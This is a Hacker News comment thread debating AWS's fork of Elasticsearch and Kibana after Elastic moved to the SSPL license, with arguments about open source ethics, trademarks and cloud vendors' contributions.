What's the basis of your statement? For data warehouse/data lake type applications, data typically goes in and aggregates come out. The point of these systems is to fish out only the data you actually need to make decisions, which is usually much smaller than the source dataset. Compute and storage therefore tend to dwarf other costs.

kenturamon(10000) 1 day ago [-]

Elastic Cloud offers VPC endpoint connections if your deployment is in AWS. You don't end up paying the usual NAT gateway egress costs.

evilsnoopi3(10000) 2 days ago [-]

The fact that AWS doesn't link to the Elastic License is hilarious to me. The plain reading of the license is 'APLv2 but AWS Can't Sell a Hosted Version' so of course AWS forks the last APL version and plows ahead.

Note, I'm not trying to side with either AWS or Elastic here and I fully recognize that both Elastic re-licensing and AWS forking are within each org's rights. I really just think it is funny how beside the point AWS's press release is here.

EDIT: an apostrophe

macksd(10000) 2 days ago [-]

To be fair, it was actually extremely difficult for me to find the license text after Elastic's announcements too. All the announcements and FAQ's etc. seemed to omit a link to the actual text.

Havoc(10000) 2 days ago [-]

>Stepping up for a truly open source Elasticsearch

Seems like a rather disingenuous way of announcing it given the reason for the license change is (allegedly) a direct response to Amazon.

Not that I'm a fan of Elastic's stance either...

__blockcipher__(10000) 2 days ago [-]

No, you've got things reversed - as do most in this thread.

Elastic's original announcement was disingenuous, they titled their blog post 'Doubling Down on Open' when they were making Elasticsearch and Kibana no longer open source. Furthermore, Elastic promised in the past that ALL FUTURE VERSIONS of the open core of Elasticsearch would remind Apache 2.0. They broke that promise when they switched to proprietary licenses only with 7.1.1.

BTW, while the reasoning from Elastic is that they did it because of Amazon, the actual effect is just to make organizations like the one I work for (a non-profit that refuses to run proprietary software in prod) have to use one of these Apache 2.0 forks, while not stopping Amazon from operating their Elasticsearch service at all (since Amazon is always free to operate an Apache 2.0 service and indeed that's the whole damn point of the license)

mikesabbagh(10000) 2 days ago [-]

What will happen next? AWS will poach elastic developers. AWS will need to show the open source community what happens when someone revolts. They now need to destroy elastic at any cost. I hope elastic has some large releases coming up, or some tricks up their sleeves

fastball(10000) 2 days ago [-]

Do people really believe Amazon is as predatory as this comment makes out?

Amazon is winning because they've been delivering a better product in general. AWS was a game-changer when it came on the scene. They continue to add new services all the time. AMZN is not MSFT. Why would Amazon need to nerf the other guys when people like them better in the first place?

markphip(10000) 2 days ago [-]

I do not get why people are coming down on AWS here. Elastic made the software available under the Apache License. That gives AWS the right to offer this service. Maybe they did not have right to trademarks, there are courts to settle that.

AWS contributes improvements to the project. This is just about Elastic and their business model. They could have not made it open source and it probably just would not have been widely used and successful. It is up to Elastic to come up with a business model that works, not blame others if it is not.

riku_iki(10000) 2 days ago [-]

> it probably just would not have been widely used and successful

also tested and fixed for free by community contributors.

ehnto(10000) 2 days ago [-]

I think people's gut reaction to this being wrong is that a conglomerate is making millions off of others work, I think that's a fair reaction.

Open source software was about empowering people in particular, not corporations. It has however made it very, very difficult for individuals to make money from their software whilst the corporations reap the rewards from countless man hours of this free work across the a myriad of domains.

I still think it's something we can get better at as an industry. Just choosing different licenses doesn't really solve the problem, people regularly shun paid software licenses, feeling entitled to all software for free, and I think that's an issue for the ecosystem as a whole.

swiley(10000) 2 days ago [-]

People get upset about the GPL but this is exactly why it was created.

Pfhreak(10000) 2 days ago [-]

Is it not consistent with a dislike of Microsoft's Embrace, Extend, Entinguish approach?

While what AWS is doing is (probably, IANAL) within their legal rights, it's arguably immoral because it is basically saying, 'We love this project so much we're going to build it into a different direction and charge people to access our version.' Which, given AWS's widespread adoption, puts the OS version in peril.

Edit: Thanks for pointing out that AWS will be releasing the code under an Apache 2 license. That does change my opinion somewhat, though I'll leave my original comment for posterity.

xtf(10000) 2 days ago [-]

With Apache License they don't have to contribute back and it is questionable/unlikely they'll do.

hehehaha(10000) 2 days ago [-]

Well it could disincentivize others from keeping things open sourced or making meaningful contributions.

pjmlp(10000) 2 days ago [-]

Agreed, next time learn what using non copyleft licenses mean in practice.

tw04(10000) 2 days ago [-]

Because an 800lbs gorilla is trying to crush an open source project? They could've come up with some agreement to oem Elastic and they both could've benefited. Instead they decided to just build a competing service at the expense of Elastic. It's the same reason most of the community had no time for Oracle forking RHEL.

>AWS contributes improvements to the project.

Per a poster below, 9 PRs out of 41,000 (I haven't verified). For a company the size of Amazon, unless it was one heck of a PR that's basically nothing.

*Correction after looking a bit closer, I think Amazon has submitted at least 600 PRs, they only listed 9 in the blog post. That's better but it still doesn't change the fact their business model doesn't allow the companies they're building on the backs of to have a sustainable revenue stream.

gorgoiler(10000) 2 days ago [-]

You're legally allowed to call me an asshole to my face, but in a world where we expect civility...

...well, there is no but. The price I pay to live in a free world is that I can't do anything about anyone else's bad behaviour. I just have to put up with it because the alternatives are worse. At least I get a free world out of it.

I hope Elastic get something out of the free world in which they exist. Patches from early contributors, I'm guessing. Certainly a brand and adoption they wouldn't have enjoyed had they remained closed source.

It's a better world than one where we lack high quality open and free software, even if we have to live alongside the Amazons.

ergocoder(10000) 2 days ago [-]

I feel people don't actually read the accusation from Elastic.

They made multiple accusations. One of them is AWS announced Elastic search in partnership with Elastic when there was no partnership at all.

monkeydreams(10000) 2 days ago [-]

> that gives AWS the right to offer this service. Maybe they did not have right to trademarks, there are courts to settle that.

You both articulate the problem and dismiss it in the same sentence. AWS have a right to offer the service - they do not have a right to tell people that they built ES, or to say that they work hand-in-hand with ES, etc. But there is nothing that a small open source group can do without tackling the shit-ton of lawyers that Jeff Bezos can bring to bear on the problem. No matter the points of law, he can just outspend them in every capacity to get the outcome he wants.

mrharrison(10000) 1 day ago [-]

Sounds like there needs to be an Apache 3.0 license with an AWS exception in it.

ujwaltrivedi(10000) 1 day ago [-]

We use ES and Kibana open source. Our entire infrastructure is on AWS and if AWS is managing the installation and maintenance efforts thats a great help.

ES was never going to make a penny from us anyways and AWS is not making any money from the ES software itself. What they are making money is from our usage of their core services. Same goes for all the other open softwares, Kafka, Airflow, EMR to name some. Plus it would be dumb to have your infrastructure on AWS and buying ES cloud service where you'd require to send your data out of AWS as you'd have to pay for the data out.

rdsubhas(10000) 2 days ago [-]

Popular OSS licenses were designed in an era to allow direct customers (businesses) to directly install and use the software, and redistribution means only distributing the package.

Nobody at that time knew or predicted that SaaS (let alone cloud computing) would be a thing, that large, profitable middlemen will directly host the software, pass through just the API, with zero customer exposure to the running instance.

AWS taking advantage of this — yeah sure it may be legal, like how business lobbying senators for obvious policy hacks is legal — but doesn't mean it's fair or acceptable. It's totally OK to call them out here and not reward them for it.

intricatedetail(10000) 2 days ago [-]

But is it in the spirit of the license to have multi billion company appropriate it without paying fair share to contributors?

jariel(10000) 2 days ago [-]

'It is up to Elastic to come up with a business model that works, not blame others if it is not. '

This comment kind of implies there is this 'free and fair market' that just magically rewards better products etc..

Mostly, it's a game of power.

Large companies use power to wipe out smaller one's and consolidate, sometimes to the near term benefit of consumers, sometimes not.

Also - just because something is legal, doesn't mean it's fair, we really shouldn't have to state that. This doesn't mean that Amazon is 'bad' because they are big, or Elastic is 'good' because they are small or any of that, but the issue is worth consideration.

prepend(10000) 2 days ago [-]

I think this is actually best for users and the community. Sucks for elastic, but glad to see the project continuing as open source.

Also good to see Amazon sponsoring lots of OSS development. Wish they could have done it in collab with ElasticCo, but I think that's on them as there's no way they can allow peers to contribute and stay in business.

ksec(10000) 2 days ago [-]

Forgive me, which part of [1] even mentioned Profits, Revenue, Business Models, CopyLeft ?

And which part of the same article ever said Elastic are not OK with Amazon providing a Services using their Open Source Software? Which they are legally allowed to do so with Apache 2.0? They even mentioned and I quote:

'We collaborate with cloud service providers, including Microsoft, Google, Alibaba, Tencent, Clever Cloud, and others. We have shown we can find a way to do it.'

What they are not happy with was the TradeMark. Amazon usage of that Trademark to mislead customers and this isn't some recent things either. It has been going on for 5 years. ( And yes the court should be used to settle that. )

So majority of HN; including its previous threads with 1000+ comments, is basically making allegation that Elastic is making the changes because of their Business Model. Until that can be proved, allegations remain merely assertions.

But right now it is being stated as Facts. And it is now being spin into ethical debate.

And I was under the impression, should Amazon be forced to fork it, which they did as announced, would have to use a different name. Instead they choose to use ElasticSearch again.

[1] https://www.elastic.co/blog/why-license-change-AWS

mirthflat83(10000) 2 days ago [-]

Understandable, because a lot of people open source their code under a permissive license because it's a cool thing to do, not because they understand what truly open sourcing their code means.

marricks(10000) 2 days ago [-]

This is how must awful actions by powerful entities are justified.

I say 'Rich people get huge tax breaks, why??' you say 'well that's how tax law works, why get angry?'

I say 'I'm a small business getting exploited by a goliath!' you say 'well everyone is playing by the rules so it's their fault'

Systems are so biased by large actors and for some reason everyday people jump in and defend them? We should totally take everything in critically but this defense doesn't seem reasonable at all.

syshum(10000) 2 days ago [-]

>>I do not get why people are coming down on AWS here. Elastic made the software available under the Apache License. That gives AWS the right to offer this service.

Something being legal does not make it ethical, many people see what AWS did, including profiting off the TradeMark of Elastic Search with zero compensation to the project is unethical

AWS is clearly in the wrong here, I am surpised by the number of people that defend AWS, this is why FOSS continues to struggle

AWS is a leech on Open Source, like many other large companies. I will be SHOCKED if AWS fork has any actual feature improvements, my guess is it will be a pure maintenance fork with security updates (maybe)

that_guy_iain(10000) 2 days ago [-]

I read the first paragraph and just though jesus AWS are dicks. They literally frame it like they're doing this for the betterment of everyone when in reality they're being cheap. It is legal, but it is immoral just like lots of things Amazon does. That's why they are coming down on AWS.

floatingatoll(10000) 2 days ago [-]

Interpreting your point to be 'If it's legal, it's automatically acceptable', I can offer you clarity on why some people are coming down on AWS here:

They feel that Amazon's decision is unacceptable for whatever reasons, regardless that it is permitted by law.

metreo(10000) 2 days ago [-]

It's a failing of many licenses where if the binary isn't modified then the rest of the software doesn't need to be similarly licensed. This goes against the spirit and intent of these licenses. Simply wrapping a OSS product in proprietary service layers is antithetical to the spirit of the open source license and not in the best interests of the community.

asdfsfkwqe(10000) 2 days ago [-]

This comment is just like one of millions of FAKE REVIEWS on AMAZON. They do what they do best.

NicoJuicy(10000) 2 days ago [-]

Allowed by the law does not mean it's considered ethical.

AWS has changed the 'new low' what an open-source project can expect if a cloud company earning billions on top of open-source can just change their project and fork it.

Cloud companies taking your source are a 'new thing' to consider in the world of open-source.

terryf(10000) 1 day ago [-]

Yes, the license allows it. So, technically they can. But you have to admit that it's a bit of a dick move.

The reality is, ElasticSearch with all of it's capabilities would not exist if the company would not exist.

How many other new interesting products will no longer be built as open source, because they know that AWS can just co-opt them and then their business will be effectively over.

The laws and licences cannot possibly cover all the details of the real world, there needs to be some humanity involved, some 'let's try to not be assholes' attitude.

I prefer to live in a world where I'm not required to be a robot. Following all the clauses and laws to all the details will end up with that. It's not a great path.

We all need more empathy.

mminer237(10000) 2 days ago [-]

Obviously Amazon has the legal right to make a fork, but I think it's understandable why people would still prefer that the people who actually did the innovation and the majority of the work get their cut of the insane profits AWS is making.

weego(10000) 2 days ago [-]

It feel like live by the sword, die by the sword to me.

Elastic because a highly successful business off the product being open source and then leveraging that into funding and enterprise licensing and maintenence.

To turn around after and go 'we love open source... No not like that' is disingenuous at best. The license choice was always yours to make, you took the one that gave you the best growth model that got you here.

ejanus(10000) 2 days ago [-]

Interesting. Why not buy the company then?

kodah(10000) 2 days ago [-]

I don't really get how people get this twisted.

ES and other companies have a business that sells a managed version of their product. This is how they sustain developers to continue working on Elastic Search. This model has worked for companies long before cloud providers were a thing. What AWS and others basically did is create identical services, keep all the profits, and exploit gaps in Open Source licensing to this end. From the ES perspective, their FOSS contributions were done in good faith which basically boil down to, 'If you can run our product on your own, you get it for free'.

AWS knows that if they take too much of ES' market that they won't survive. If they don't survive it will just be a matter of time before ES is dropped by Amazon and totally unsupported.

You can frame this question in terms of ethics, you can frame it in terms of licensing naivety, you can frame it in whatever way you want but Amazon is doing what it always has done: exploiting smaller businesses in its goal to become a conglomerate.

Edit: a lot of people talking about the license forget that there's an entire spirit to open source. The permissiveness of open source was one thought to be 'we can all succeed together' and what people get upset about is the fact that this obviously violates that spirit. The businesses set up to back companies like Elastic Search were setup to sustain the project while continuing to empower it's creators to take their vision further. If Amazon takes the pie, that doesn't happen. At best, the creators are now Amazon employees and have to follow their desires. Just because you can exploit a license, doesn't mean you should.

rohittidke(10000) 2 days ago [-]

If this continues the motivation for open sourcing your work will be lost.

marcinzm(10000) 2 days ago [-]

Your right to do something does not remove my right to call you a dick for doing it. There is a large difference between what is legally allowed and what should be encouraged for the good of society.

MrStonedOne(10000) 2 days ago [-]

The trademark side absolutely kills any credibility or goodwill they could hope to have.

mythz(10000) 2 days ago [-]

Unless it's not clear yet, the biggest benefactors of OSS have become the 3 largest cloud vendors owned by 3 of the largest tech mega corps, namely:

  - AWS
  - Azure
  - GCP
The multi-billion dollar infrastructure and network lock-in cloud vendors enjoy ensures there will only be these 3 cloud platforms (in the western world) that will enjoy most of the value derived from OSS, who are collecting rents on the backs of ISV's who developed the OSS products, because of which they're also going to be most invested in keeping the OSS status quo where they're able to repackage the resources & efforts others have invested into developing their OSS products and reap a majority of the profits by offering it as a managed hosted service on their platform, since relatively no customer using the cloud is going to want to use an external service if there's also the same managed service being offered by the cloud vendor.

The fantasy that OSS allows equal competition is no longer a reality, ISV's cannot compete with a cloud vendor who uses their own investments against them in addition to their anti-competitive monopoly lock-in of already having Customers running on their cloud platform.

Elastic's move to SSPL is effectively 'OSS + free for everyone with the exception of exploitation by a major cloud vendor', since without it we're heading towards a mono culture future where all hosted OSS software is going to be funded and resourced by the billions major cloud vendors have reaped in collecting all the rent for hosting others OSS investments, that AWS gives nothing back in exchange for.

SSPL is effectively being used a tool to force AWS to do the ethical thing and reach an agreement with Elastic to distribute a portion of their profits from using their trademarks and hosting their Software they've invested a decade in building. AWS has instead chosen the path to maintain their own fork to avoid sharing any profits with Elastic as they're obviously currently making so much from hosting Elastic's products that it's in their financial best interest to start hiring dev resources to maintain their own fork then sharing profits with Elastic to fund its continued development.

Will be interesting to see how this strategy turns out, AWS may have already become to big to compete against who will be able to out resource, out fund & take over any ISV's OSS product, but it's clear the longer Elastic waits, the harder it would be to protect their own investments being used against them.

supermatt(10000) 2 days ago [-]

The real problem is that WE, as a community, demand certain licenses from the tools we use. If Elasticsearch didn't have such a permissive license, we simply wouldnt have used it, it wouldnt have become popular, and there would be no demand for AWS to provide it as a managed service.

So is ES to blame for having a permissive license? Or is it AWS for making it trivial to use? Or are we to blame for dismissing any license that isn't OSI approved (and even then, we still snort at things like Affero GPL!)

IMHO, if there IS a 'bad guy' in this situation, its us...

paxys(10000) 2 days ago [-]

The sad part is that while I really want to support Elasic here we are likely going to have to move to Amazon's Apache-licensed fork for our internal use because SSPL is incompatible with our company's open source policy.

atonse(10000) 2 days ago [-]

Same here. I manage a handful of projects (10+ websites) and won't touch Elastic with a 10 foot pole now that they aren't Apache anymore. It actually doesn't matter how much they yell about their 'intent.' – It's an unproven license with some restrictions and I don't even want the headache and cost of having to talk to lawyers about why 'it'll be fine!!' or even waste a minute during a meeting about the license impacts of solving any of the problems we face.

The ambiguity is just simply not worth the cognitive overhead. I have enough to worry about without this silly game Elastic's playing where we (customers, users) are left having to figure out the legal ambiguities and wink-winks of their new license.

And right now, we're actively searching/researching a self-hosted log analysis solution. And we've been looking at Elastic's offering and comparing it to self-hosting. Not anymore.

juanbyrge(10000) 2 days ago [-]

The audacity of these AWS folks patronizing elastic about open source despite AWS making millions of dollars off of their open source project just reeks of entitlement. Glad I am never going to use AWS.

blantonl(10000) 2 days ago [-]

I can't tell if this is sarcasm or real.

But one thing is for certain, AWS is using open source software, for profit, under the Apache license, exactly as the license was intended

blibble(10000) 2 days ago [-]

I suspect the era just before the cloud was the peak of open source software

these days you'd have to be a fool to start a company offering an open source server based product under a liberal license

Amazon is a parasite, plain and simple

driverdan(10000) 2 days ago [-]

This is satire right? Do you say the same thing about Linux? nginx? WordPress?

dtrailin(10000) 2 days ago [-]

I would bet on AWS in this case as they will also likely have the support of anyone who wants to make a hosted service of those products. It will be interesting to see if eventually AWS starts making new APIs that diverge from the Elastic or if they chose to keep the product maintenance mode.

tortila(10000) 2 days ago [-]

I understand that this is not what you meant, but AWS ES service has a different API than the one in the official Elastic documentation already - mainly that it's a smaller subset of it. What may seem like a good decision for "aaS" product in general, is a real pain with ES specifically, because of how delicate it is for tuning.

azurezyq(10000) 2 days ago [-]

>>> 'This means that Elasticsearch and Kibana will no longer be open source software.'

So any license which AWS cannot make good use of is not a valid OSS license? What a pirate logic here.

EDIT: I think I made a mistake here. SSPL is really a weird license here, not really friendly.

autarch(10000) 2 days ago [-]

The SSPL is not an open source license. This is quite clear. The Open Source Initiative, stewards of the term 'open source', have said so at https://opensource.org/node/1099.

While AWS may be disingenuous, the statement you quoted is 100% correct.

xenadu02(10000) 2 days ago [-]

The time-tested model for a situation like this that benefits everyone is big company offering X as a service hires/funds N developers in proportion to the popularity of that service on their platform. That helps ensure the project is sustainable, gives back to the community the big service obviously benefits from, and is certainly a form of 'good karma'.

I think a lot of people are upset due to the perceived violation of that social contract, though it obviously isn't a legal issue and may not even be a moral one depending on where you draw the line. AWS has the appearance of benefitting enormously from many OSS projects but rarely funds contributions - funding that would be a rounding error to the AWS budget.

The ball is entirely in Amazon's court. They've earned this reputation (fair or not). They can make the problem go away at any time if they want to spend a little money.

ignoramous(10000) 2 days ago [-]

> The time-tested model for a situation like this that benefits everyone is big company offering X as a service hires/funds N developers in proportion to the popularity of that service on their platform

That model would have worked nicely if Elastic.co had created a Foundation (like Google with k8s) and/or donated their core to a Foundation (like Hortonworks and Cloudera with many projects). They couldn't let go off their iron grip on it, even though they commoditized the core themselves by F/OSSing it.

Chyzwar(10000) 2 days ago [-]

They want to fork because $$, fine. But they could at least stop pretending to be saint of OSS. They're bragging of raising 9 PRs of total 41000 in elastic repo.

They are brave regardless. Elastic is not only database engine but whole ecosystem. Drivers, tooling, existing code, data pipelines, documentation and tutorials. Long terms keeping with elastic will be challenging to say at least.

alpb(10000) 2 days ago [-]

From my personal exchanges with people on Twitter on various contributions to projects in the Kubernetes ecosystem, I have frequently seen that some AWS employees (and sometimes the companies they partner with) want to make it seem like AWS is _really_ doing open source with real contributions. Every time I pointed my finger and asked, I got a response from such people 'you should know not all contributions to the open source are code'.

I'm not gatekeeping what 'real contributions' are: You can fund development of OSS, you can provide Project Manager support, you can publicize and organize events (for the sake of the tech; not sales), do DevRel for something, provide UX/UXR/design support etc. They're all real contributions.

But for some reason, AWS contributions to 3rd party OSS projects stops right at 'it works fine on AWS'. It's kind of a meme at this point.

Disclaimer: I work at GCP on Kubernetes/OSS.

gnfargbl(10000) 2 days ago [-]

AWS's model seems to be to take a popular OSS product, do _just_ enough to make it work with AWS, make tons of money out of it, contribute a minimal amount back... and then act all surprised when they're painted as the bad guys.

Take postgres. RDS is a core AWS product. They absolutely rely on it. But if you take a look at https://www.postgresql.org/community/contributors/, are any of the current major contributors at AWS? If they are, I can't see them.

It's okay to behave like that when you're a small or even medium sized tech company. But when you're the world's number one cloud service, by quite some margin? Hmmn.

merb(10000) 2 days ago [-]

what aws does is more oss than that what elastic does. elastic also did it because of $$. so neither of them wins.

machawinka(10000) 2 days ago [-]

This is why I like GPL.

SXX(10000) 2 days ago [-]

GPL wont help if there is CLA.

tomaszs(10000) 2 days ago [-]

What I understand is that Elastic is upset AWS used the name for it's service promotion, stole propertiary code and alleged business partnership with Elastic.

So Elastic felt loosing due to AWS using is assets, so changed the licence to compensate.

Now AWS announces it cuts ties with Elastic by forking Elastic. So what AWS seems to announce is that it will continue to earn from Elastic , still will be using the name and further more it will openly compete with Elastic?

It is an extremely aggressive move, take all and destroy, or am I missing on something?

__blockcipher__(10000) 2 days ago [-]

It's literally the obvious move that anyone who has been paying attention predicted. I predicted this myself days ago, and trust me it didn't require any genius.

Elastic is just fundamentally in the wrong here. (I'm not talking about the trademark dispute; that's irrelevant to the licensing changes, frankly)

izolate(10000) 2 days ago [-]

We need to dismantle these tech behemoths so they can't bully smaller companies. This is toxic behavior on Amazon's part, but par for the course for Bezos's company.

geofft(10000) 2 days ago [-]

The fundamental 'open source sustainability' problem is capitalism, or at least our incarnation of it, and everyone dances around it. You can't license your way out of this problem. You can't services-company your way out of this problem. The fundamental issue is that it is good for the world for skilled developers to spend all day writing software and giving it away, but they can make much more money writing software and not giving it away.

And I'm not even necessarily advocating we change our system of governance - we can do it fine with our current one. Even the culture of academia would be fine here. There certainly are skilled scientists who find it more profitable to do secret work in for-profit labs, but far less so than in software. (In large part, that system works because of government-funded universities and government-funded research grants.)

CapriciousCptl(10000) 2 days ago [-]

Steve Jobs said something like Dropbox was a feature, not a product. I think Bezos feels the same about literally everything. AFAIK Azure/Google have actual partnerships with the Elastic stack, partnerships that assumedly benefit both sides and have staying power.

Part of me wonders if AWS always had planned to do this, and they were just waiting until it made business sense to fork (ie they had features and a new direction in mind but neglected to implement them because Elasticsearch was good enough as is). The alternative part is just 2 big corporations not finding a way to get along. Which means without clear direction and careful stewardship I'd expect the forks to just be cleanroom reimplementations or something like that.

redisman(10000) 2 days ago [-]

> I think Bezos feels the same about literally everything.

That sounds weird. Comparing the 'productization' of ES+Kibana to any AWS database stack is night and day. And not in AWS'es favor. ES and Kibana are much more of a product.

mcintyre1994(10000) 2 days ago [-]

> AFAIK Azure/Google have actual partnerships with the Elastic stack, partnerships that assumedly benefit both sides and have staying power.

Can you elaborate a bit here? We deploy from elastic.co into AWS and it seems to be fully supported. I'm not sure what they'd be doing with Google Cloud/Azure that they're not doing with AWS. Their homepage seems to still equate them all 'Run where and how you want. Deploy on Google Cloud, Microsoft Azure, and Amazon Web Services with Elastic Cloud.'

vrtx0(10000) 2 days ago [-]

Wow. Amazon is blatantly misleading people here. They know the SSPL was created specifically because MongoDB had the same issues with Amazon's service. I worked for MongoDB. Nobody wanted the SSPL, but Amazon was relentless.

MongoDB's cloud service offering was thriving quite well (and still is, thankfully). Then Amazon announced the exact feature set as their own service, while contributing nothing to the project. They even linked entirely to MongoDB's comprehensive documentation. "Anticompetitive" is the kindest description I can offer of Amazon's behavior.

Just remember —- the SSPL and similar licenses are still completely open source. Amazon knows they're forcing companies to change licenses, but shaming them as being "unacceptable to many in the open source community".

This is political rhetoric, and I'm shocked anybody outside of Amazon would support this. The people who started these projects and surrounding businesses are generally very good people — I've been disabled with a neurological condition for 6 years now, but live can afford to live relatively comfortably thanks to the people at MongoDB. And I contributed code to the project before I started working for them (10gen at the time). So I'm admittedly biased, but it really seems like Amazon has become the Trump of Silicon Valley. I'm done with political rhetoric like this.

All opinions are my own.

smokey_circles(10000) 2 days ago [-]

> Amazon is blatantly misleading people here

I'm not so sure I agree about that, presuming you're talking about the open source comments. If not, you can ignore the rest of the comment (except the last paragraph, pertinent question for you)

The SSPL is not an open source license [0], and that's all there is to it.

There must be a better version of it out there somewhere. Something to the tune of 'use our software as you wish, however you may not offer it as a hosted solution without a license from us. This license entitles you to direct support and other goodies to justify such a stance'.

I can't think of those 'other' goodies but that's why I'm not a business type :D

I don't think I'm making a crazy statement here, am I? Maybe I'm just being young and naive. Can you shed some light on your experience with trying to work with Amazon to address the problems? I imagine they didn't listen (they're just too big to care it seems), but I'd like some first-hand experience to gauge with.

[0]: https://opensource.org/node/1099

soheil(10000) 2 days ago [-]

To Elastic: if you're a $15B [0] company you don't get to be a victim by appealing to your customer base to whine about how your competitor is profiting 'unjustly' from a decision you made that led to your growth in the first place. Choosing Apache2 license ensures your OSS gets traction, but then you'll have to live with its consequences when Amazon comes knocking on the door.

[0] https://google.com/search?q=estc

arp242(10000) 2 days ago [-]

That's just a valuation, based on expectations, hype, and chicken entrail readings, and not really all that useful. It's not like they have anywhere near $15 billion lying around. They made a net loss of $75 million last year.

brasetvik(10000) 2 days ago [-]

While it's great that AWS has indeed contributed fixes to upstream Elasticsearch, they link to 9 PRs that are generally on the trivial end of the scale. (Though I don't doubt the PR that adds a missing synchronized keyword might have been gnarly and time consuming to debug, and that diff size does not necessarily correlate to importance)

For a project AWS was making hundreds of millions in revenue on four years ago (as per an ex AWS employee), patting your own shoulder for such a trivial amount of contributions is a bit disingenuous. They might have contributed more, but if there was something significant, they probably would have mentioned.

Notable new features like 'ultrawarm' they did not attempt to contribute upstream, nor open source at all: https://aws.amazon.com/about-aws/whats-new/2020/05/aws-annou...

_msw_(10000) 2 days ago [-]

Disclosure: I work at Amazon on cloud infrastructure, but not on the codebase in question. I helped with parts of the blog post to try to explain some of the nuance about how things are set up with Elasticsearch as an 'upstream'.

The 9 PRs were only to demonstrate working in the 'upstream first' practice, and aren't exhaustive. It also doesn't cover the additional work in the Apache Lucene project that benefits Elasticsearch as well, which is where larger code investments are being made (since that's the right place for them to live, for much of what's being built).

t0mas88(10000) 2 days ago [-]

A lot can be said about AWS and open source, but it is clear they have created some 'secret sauce' on the networking, storage and virtualization side of things which is their core business. Unlike Elastic they never promised open source and never used it as marketing. So it completely fair for them to keep those things closed as they provide a big part of the competitive advantage to their cloud.

Those components underpin things like Aurora (which does tricks with storage and replication that MySQL can't) and this warm/hot storage. So there is probably no practical way to open source those elasticsearch changes without opening up their storage system as well and even then it wouldn't run outside of AWS.

zbobet2012(10000) 2 days ago [-]

I'm not sure I understand Amazon's game theory on this one. Anything they contribute to their Apache License branch can be used by Elastic, but not vice versa.

This means Elastic can continue to differentiate from Amazon without worry. Amazon however can keep the code they've not contributed back internally, but they could always do that.

Perhaps this is simply an image move they don't plan to actually enhance or maintain the fork?

Also Elastic moving from Apache to (essentially) GPL is not making it closed source. Just as Amazon was within their rights to maintain an internal fork, so is Elastic to move to a GPL model. Demonizing either over business decisions is dumb.

z77dj3kl(10000) 2 days ago [-]

It guarantees a future for open-source Elasticsearch. If there are contributors that want to use ES under an open-source license, now there is a steward for that code that will guarantee the code's long term support and open-sourceness.

And no, SSPL is nothing like the GPL. The purpose of GPL is to keep the code open-source. The purpose of SSPL is to others from using the software in certain ways (to make money), and its wording is not clear enough (and it does not have legal precedence) to make it clear what its actual limitations are.

motiejus(10000) 2 days ago [-]

I don't trust aws will do a good job with the fork. Can anyone tell me a FOSS project led by amazon that's not for accessing their services (boto)?

Now that elastic.co is going sideways, sphinxsearch (best search server experience I've had) non-foss since circa 2017, what are the good search server options for a small shop dealing wth geo search?

Edit/disclaimer: former aws employee

stonemetal12(10000) 2 days ago [-]

I see this as similar to Corretto. AFAIK they have done a good job supporting Java 8 well past what Oracle is willing to do.

snikolaev(10000) 2 days ago [-]

> what are the good search server options for a small shop dealing wth geo search?

Manticore Search is an actively developed GPLv2 fork of Sphinxsearch since 2017 - https://manticoresearch.com/

dvnguyen(10000) 2 days ago [-]

https://github.com/firecracker-microvm/firecracker

Disclaimer: current AWS employer. My job is not related to ES or Lambda.

RocketSyntax(10000) 2 days ago [-]

This feels like a spin? Isn't AWS biting hand that feeds them? They need a win-win strategy for open source devs. It's hard enough to compete with their version of your service (spark, kafka) without them forking your project. what's next, are they going to fork spark and kafka?

weeks(10000) 2 days ago [-]

Apache Spark and Apache Kafka? It doesn't seem likely that the Apache Software Foundation would consider implementing the SSPL instead of the Apache License.

ryanisnan(10000) 2 days ago [-]

I mean, if you're a contributor to Elasticsearch or Kibana, you now have a choice on which project you are going to make contributions to. Apart from dislike of AWS, I can't see why anyone would choose the version with the more restrictive license, which is SSPL.

caymanjim(10000) 2 days ago [-]

AWS are the good guys here. Elastic built a popular product off the work of countless open source contributors. That's how they became a market leader in this product space. It's how open source works. The people who contributed to the product did so with no expectation of reward except that their efforts would remain open source.

Elasticsearch got popular, and now Elastic wants to reap all the rewards and make money off the product. They're free to do that, and create restricted-license or closed-source versions for future enhancements. But the community doesn't have to buy into that and continue to contribute to what is no longer truly an open source product. AWS is forking it and continuing with the original, truly open source license.

This is pretty much exactly what happened to MySQL, and now we have MariaDB, which is a better and truly open source product.

AWS does plenty of things worth criticizing, and one can even criticize them in this particular instance for not working with Elastic to provide more support to whatever it was they were asking for. And Elastic may very well have a legitimate gripe about trademarks. But yanking the Apache license out and moving to a more-restrictive license is not the right solution, and is not what everyone who contributed to building the product signed up for.

You can't create an open source project, wait for it to gain market dominance, decide to be less open source, and expect the community to continue contributing.

Elastic shot themselves in the foot and now they can either revert their decision or get left behind as the community moves on to what will ultimately end up being the better product.

Roybot(10000) 2 days ago [-]

Contributor efforts are remaining open source. The change in license goes into effect in the 7.11 release. Code contributed under Apache stays that way.

Typically open source projects have only a handful of core developers - with a large majority being pass-by contributors interested in fixing their problems/use case. Characterizing it to sound like all these developers are being slighted is strange.

Not being able to reap what you sow is a problem with open source. I don't doubt we are seeing less great software being shared in the open because of it. If we want more useful software shared as open source we should fix this. The Amazon problem doesn't help. I'm with Elastic.

mathnode(10000) 2 days ago [-]

MariaDB came out with the BSL license for projects like maxcale to help protect against AWS nonsense (and the like). The mysql -> mariadb response is completely different, but no less terrible.

This is history repeating itself as Amazon, once again, attempt to gut open source efforts.

For a short while Amazon did contribute to some MariaDB projects.

MongoDB now have similar license and AWS offers compatible API's.

tschellenbach(10000) 2 days ago [-]

Pretty sure that >95% of Elastic's code is created by the company and not external contributors.

ROARosen(10000) 2 days ago [-]

FROM ORIGINAL POST: >When AWS decides to offer a service based on an open source project, we ensure that we are equipped and prepared to maintain it ourselves if necessary.

You might disagree but to me this sounds like hyperbole; a veiled threat should any other OSS dev decide to change their licensing just to disadvantage AWS.

I think it's juvenile to think that even AWS has the resources necessary to for every OSS product they offer. Think Linux (the kernel) etc. drivers, frameworks, as well as every dependency these projects contain.

petejohnson(10000) 1 day ago [-]

> Elastic built a popular product off the work of countless open source contributors. That's how they became a market leader in this product space.

That's simply not true. Elasticsearch and Kibana are primarily built by developers on the Elastic payroll. You can verify this by looking at the 'Contributors' tab on Github for both projects. I honestly couldn't find a single person there who wasn't employed by Elastic at the time of their contributions.

> The people who contributed to the product did so with no expectation of reward except that their efforts would remain open source

Again, did you do a survey of any of these people? Seeing they are Elastic employees I guess they asked for more than just OSS glory... Probably lunch and and a pay check.

